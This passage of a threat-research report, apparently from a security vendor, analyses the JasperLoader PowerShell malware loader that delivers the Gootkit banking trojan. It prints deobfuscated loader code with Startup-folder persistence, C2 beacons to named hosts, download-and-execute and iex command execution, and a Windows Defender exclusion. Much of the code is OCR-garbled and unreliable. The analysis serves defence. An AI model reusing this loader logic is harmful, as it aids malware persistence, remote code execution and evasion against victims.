99mefaubtwyctvhué 6w'cxRf7Ua5|5aluzAxi|4uBv6Yez|7eCd7N13'v3)66{v4 8leigxjyitct83;3e
z43}e0

For every three characters present in the obfuscated code, the first two characters are
removed and the remaining character is added to the end of the variable
$jwihbyjzvhwwziwzadiuxat

For example, the string:

0zig7fs9(y4 7b(i6G7aet5tvf-gildtIacC4zuxelactd7ubwr53ehy)26.1izNejahgm7lewf ga-
99mefaubtwyctvhu6 6w'cxRf7Ua5|5aluzAxi|4uBv6eYez|7eCd7N13'v3)66{v4 8leigxjyitct83;3e
z4}e0

Becomes the PowerShell command:

if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; }

In order to more efficiently deobfuscate the next stage of instructions, we will leverage the
PowerShell ISE console to unpack the code for us. We can do this by copying the data
retrieved from the server to our system and modifying the same PowerShell commands
specified in the aforementioned script:

F: Chlsarshbdnleshed Deskiop =

Stfamch 'CehlUser st bdnlshed' Desktop\SearchIE32 . txt"
Get-Content STFam 8 wWhere-0bject L5 §rEges | ForEach-0bject { 51w kb vz vwzadiuxat 5 Tealed 17}

Figure 26: PowerShell ISE Input

Now that the variable $jwihbyjzvhwwziwzadiuxat contains the deobfuscated code, we can
simply retrieve the current value stored in this variable:

PS5 Ch\Users\b4nlshed\Desktop =

= Get-Variable jwihbyvjzvhwwziwzadiuxat -ValueOnly

Figure 27: Using PowerShell ISE to retrieve code
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This causes the PowerShell ISE console to provide the deobfuscated commands that will be
used for the next series of operations. We can now retrieve this information and continue our
analysis.

PE Crilsersibanlshed\Desktops Get-Variable jwihby]zvhewziwzadiuxat -valuednly

iF{ (Get-UIfultwrs), Name -match "RUJUA|EY|CN')] ewit; } Function CreateShortout( 3nk, farguments, fwWorkinglHirectory 3 tryf §5hel
1 i b t -ComDbject (“WScripk, Shell”); LShortCut = $Shell.Createshortent( $ink ); fShartCul, Arguments= TArguments; i5h
artCut. TargetPath = ‘cooript. e’ JWor ki ngn rector SWor kol ngn r ectioey'; SohortCit . W ndowStyle = 13 $ShortCut. Desc

pEion Indexing Service’; rn "CreateShortout -» ok”; C eturn 'CreateShortcut -= F
ail"; } } Function Createll {  $a i bject -class Wind2_ComputerSysten -Property Mame),Name, trim(d + '_";

leatch] §a = "DHG_": } Ery fa 4= [(Get-Wmilbject -class Wini2_ComputerSyste ty Model) Madel . traml) + "_"; cate
af fa += "OMG_'; E tryd foreach {Sdisk in {gwmi win3z_diskdrivel) { fa += [conwert]::teostringdidi signature, 16}

T teatch{ S8 += "OOMGNO0"; ] Return 3a; 1 Sver 524.1; Swurl_adm "hitp:/ =pace, bajamelide. chy"; Createll; $tim
ecut = B flogs 2{[strang]( S{get-date) )); Spsver = [ (Get-Host). Version ), Majar; Jmy_dir = [System, IO, Path] : :GetTempPath(J; Sldr =
‘SapechT32's fotnn i w Tndin-Park Ces die *1° Sewe File w Indin-Path Sww dir “SesrckhT3? ave®s flde File = Tnin-Sath Swe die “SenechTi2

Figure 28: PowerShell ISE Stage 3 output

JasperLoader Stage 3

Now that we have obtained the PowerShell responsible for the next stage of the infection
process, we can begin to observe the main characteristics of the malware loader itself. Below
is the Powershell code associated with this stage of operations.

Bt dmecart;

Figure 29: Stage 3 deobfuscated PowerShell

As can be seen in the screenshot above, this is where the majority of the activity associated
with JasperLoader takes place. The PowerShell present in this stage is responsible for the
operations described in the following sections.

Geolocation checks

The PowerShell associated with Stage 3 of the JasperLoader infection process performs
exactly the same geolocational verification that we have observed in all previous stages of
the infection. It checks the UlCulture of the system and terminates execution if the UICulture
matches Russia, Ukraine, Belarus, or People's Republic of China.

19/27


https://4.bp.blogspot.com/-ts8dRk3yge4/XMGlvZFqKPI/AAAAAAAABH0/H9lFfZL5T-EA_WUB4Iy-edafeXBGDvbAQCLcBGAs/s1600/image18.png
https://3.bp.blogspot.com/--NSl0-FHGwM/XMGl3XF8dCI/AAAAAAAABH4/KuGv-07rvm4iwlXgu_uRWUNFhBKNrqqnwCLcBGAs/s1600/image16.png
https://4.bp.blogspot.com/-Gh_zhSA58dg/XMGmA0elq9I/AAAAAAAABH8/8rs1Jrep8AAujl0SLjyETjEgdvgnpJMMgCLcBGAs/s1600/image11.png

Figure 30: Stage 3 geolocation check

Achieving persistence

The next series of actions are associated with maintaining access to the system. A function
called CreateShortcut() is defined that is responsible for achieving persistence by creating a
LNK shortcut in the Startup folder of the infected system to ensure that the malware will
execute when the system reboots.

CreateShortcut( $lnk, $Arguments, $WorkingDirectory ){

$5Shell = New-Object -ComObject ( 'WScript.Shell');
$ShortCut = $Shell.CreateShortcut({ $1lnk };
$ShortCut.Arguments = $Arguments;
$ShortCut.TargetPath = 'cscript.exe’;
$ShortCut.WorkingDirectory = $WorkingDirectory;
$ShortCut.WindowStyle = 1;

$ShortCut.Description = 'Windows Indexing
$ShortCut.

Figure 31: Stage 3 persistence mechanism

Bot ID generation

The malware also queries the system using WMI and retrieves various pieces of information
that are used to generate a unique identifier for the infected system. This information is later
transmitted to the C2 server to register the newly infected system and allow for it to be
uniquely identified. These activities are performed by the CreatelD() function that is defined,
as shown below:
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(Get-WmiObject -class Win32_ComputersSystem -Property Model).Model.trim() + "_

reach ($disk in (gwmi win32_diskdrive)) {
= [

a it 1::tostring($disk. signature, 16);

Figure 32: Stage 3 BotID generation

Bot registration and command retrieval

The infected system then uses an HTTP GET request to beacon out to the command and
control (C2) server and transmits the unique bot identifier to register the new bot. It also waits
for a response from the C2 server to determine how to proceed:

GET /7b=PC_To%28bek28T1illed%20by%2680.E.M._ 281b38d914d9819c&v=324.1&psver=5 HTTP/1.1

Host: space.bajamelide.ch
Connection: Keep-Alive

HTTP/1.1 280 OK

Server: nginx/1.14.2

Date: MMon, 29 Mar 2819 13:3:2:27 GMI
Content-Type: text/html; charset=UTF-8
Content-Length: 89

Connection: keep-alive

X-Powered-By: PHP/5.4.16

dlhttp://31.214.157.69/818513A4871485C | AdobeAR .exe|http://cdn.zaczvk.pl/moddownloadok. php

Figure 33: Stage 3 C2 regqistration
As can be seen in the observed screenshot, the C2 server issues HTTP responses that

include pipe-delimited parameters that provide additional commands to JasperLoader and
direct it how to proceed.
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Supported commands:

JasperLoader currently has support for three distinct commands that may be received from
the C2 server during this operation. They are denoted by the first character that is present in
the response received from the C2 server. (Such as the letter "d" in the previous screenshot.)

Update mechanism ("u")

The "u" command may be received from the C2 server and directs JasperLoader to attempt
to attempt to update itself using the parameters received from the C2 which are handled as
values in an array assigned to the variable $action.

cry{
Remove-Item -Path $runfile;

CadtChn -[ I

$req.DownloadFile($action[1], $ldr file );
$req.DownloadFile($%action[2], $J15 file );
$count = 2;

Start-Sleep -Seconds $timeout;
Start-Process $15 file;

5leep -Seconds $timeout;

Figure 34: Stage 3 update mechanism

Bot management mechanism ("m")
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The "m" command provides a mechanism with which the attacker can execute arbitrary
system commands using Powershell on infected systems. The loader waits for a response
from the C2 server that contains pipe-delimited information. It retrieves PowerShell
commands from C2 and passes them to the Invoke-Expression (IEX) PowerShell cmdlet so
that they can be executed.

switch ( $action[@] ) {

X :'. ’ 'I:
$req.DownloadString( $action[1] ).split(’|") | foreach {
iex -Command $req.DownloadString( % ).

Figure 35: Stage 3 bot management

Download mechanism ("d")

The "d" command directs the infected system to retrieve the final malware payload and
provides the parameters with which this operation should take place. It informs JasperLoader
where to go to retrieve the final malware payload, where to save it, and where to send status
updates following successful deployment of the final payload.
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d®
$reqlog = New-Object System.Met.WebClient;
$reqlog.Credentials = [System.Net denti
tryfl
$ddir = [ ironment]: :GetFolderPath( ApplicationData’);
I.'“'| {
T
catch{}
$tileMame = Join-Path $ddir $action[2];
$infFile, $infExt = $action[2].Split(".");
$infFile += '.inf";
$infFile = Join-Path $ddir $infFile;
if( test-path -path $infrile ){
}
if{ test-path -path $fileName ){
}
tr":.{
$reqlog.DownloadFile($action[1], $fileMame );
}
catch{
}
if{ { test-path -path $fileName )} -and { ( (Get-Item $fileMame).lengthf1KB) -gt 5 ) )}
Start-Process $fileName;
$reqlog.Querystring.Add( error’, °Start ok' };
$req.DownloadString( $action[3] );
}
Start-Sleep -Seconds 188;
if( test-path -path $infFile ){

ache]: :DefaultCredentials;

Figure 36: Stage 3 download Function |

inf not found!" );

catch{

}
$reqlog.QueryString.Add( "action’', 'd' );
$reqlog.QueryString.Add( 'b", $bot id );
$reqlog.QueryString.Add{ 'v', $ver };
$temp = $reqlog.DownloadString( $url adm );
break:;

Figure 37: Stage 3 download Function I/

It also creates a Windows Defender AV exclusion for the directory in which the PE32 will be
stored if the system is running PowerShell version 4 or higher.
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: :GetFolderPath( " A;

if({ ( (Get-Host).Version ).Major -ge 4 }{
Add-MpPreference -ExclusionPath $ddir;

Figure 38: Stage 3 Windows defender exclusion

The system then attempts to retrieve the PE32 file that is the malicious payload in this
particular infection. The screenshot below shows the C2 server delivering the malicious
PE32 file to the infected system.

GET /B18513A40T71485C HTTRA1. 1
Host: 31.214.157.69
Connection: Keep-Alive

HTTP/1.1 2868 0K

Date: Mon, 25 Har 2819 14:32:33 GMT

Server: Apache/2.2.15 {Cent0s)
Last-Modified: Mon, 25 Har 2019 14:80:688 GMT
ETag: "8Tad3-40680-5684ebat4TEa20"
ACcept-Ranges: bytes

Content -Length: 2636858

Connection: close

Content-Type: text/plain; charset=uUTF-8

M o i s i wams i o M 6w 8 m e o T R R R e e e n e e s me s Cedes s FTHLS pROgTaN cEnmok BE runin DS el

5 PE..L.cas:s U...

Figure 39: Stage 3 payload delivery

The status of the successful deployment of the malware payload is then further

communicated to the attacker's server.
GE% Smoddownloadok . php?b=PC_To%20beX28T1lled®28by®280.E.M. _281b38d914d96819cE&8v=324 . 1&psver=5 HTTP/1.1
Host: cdn.zaczvk.pl

HTTP/1.1 280 OK

Server: nginx/1.14.2

Date: Mon, 25 Mar 2019 13:32:34 GMT
Content-Type: text/html; charset=UTF-8
Content -Length: @

Connection: keep-alive

X-Powered-By: PHP/5.4.16

Figure 40: Post-infection status update
In this particular case, the malicious payload being delivered by JasperLoader is a widely

distributed banking trojan called "Gootkit." This malware mainly looks to steal users'
information and can act as a backdoor to the compromised machine.

Conclusion

JasperLoader is a malware loader that features a multi-stage infection process. This process
has been constructed in a way that makes the loader resilient and provides flexibility to
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adversaries that are attempting to leverage it to spread malware. While it is currently being
used to spread the Gootkit banking trojan, it will likely be used to distribute additional
malware payloads in the future, as it has been designed in a way that allows the operators of
the loader's infrastructure to use it for new payloads in the future as they choose to monetize
their operation in different ways. The choice to abuse certified email services such as PEC
demonstrates that as attackers are always looking for new ways to lend credibility to their
social engineering attacks. In this case, abusing a legitimate email service allowed them to
deliver their malicious emails in a way that would maximize the likelihood that a potential
victim would open the attachments and infect themselves with JasperLoader. In addition to
the various threats that we have already observed abusing these services, we expect
additional threats to begin leveraging them as well.

Coverage

Additional ways our customers can detect and block this threat are listed below.

AMP
CloudLock
S

LY S

Email Security

Metwork Security

Threat Lrid

Umbrella

Ch
Ve

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the
malware used by these threat actors.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents
access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation
Intrusion Prevention System (NGIPS), andMeraki MX can detect malicious activity
associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security
products.
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Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available
from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.

Indicators of compromise

The following IOCs are associated with various malware distribution campaigns that were
observed during the analysis of JasperLoader activity.

Attachment hashes (SHA256)

A list of hashes observed to be associated with malicious email attachments can be found
here.

Domains

A list of domains observed to be associated with JasperLoader can be found here.

IP addresses

A list of IP addresses observed to be associated with JasperLoader can be found here.
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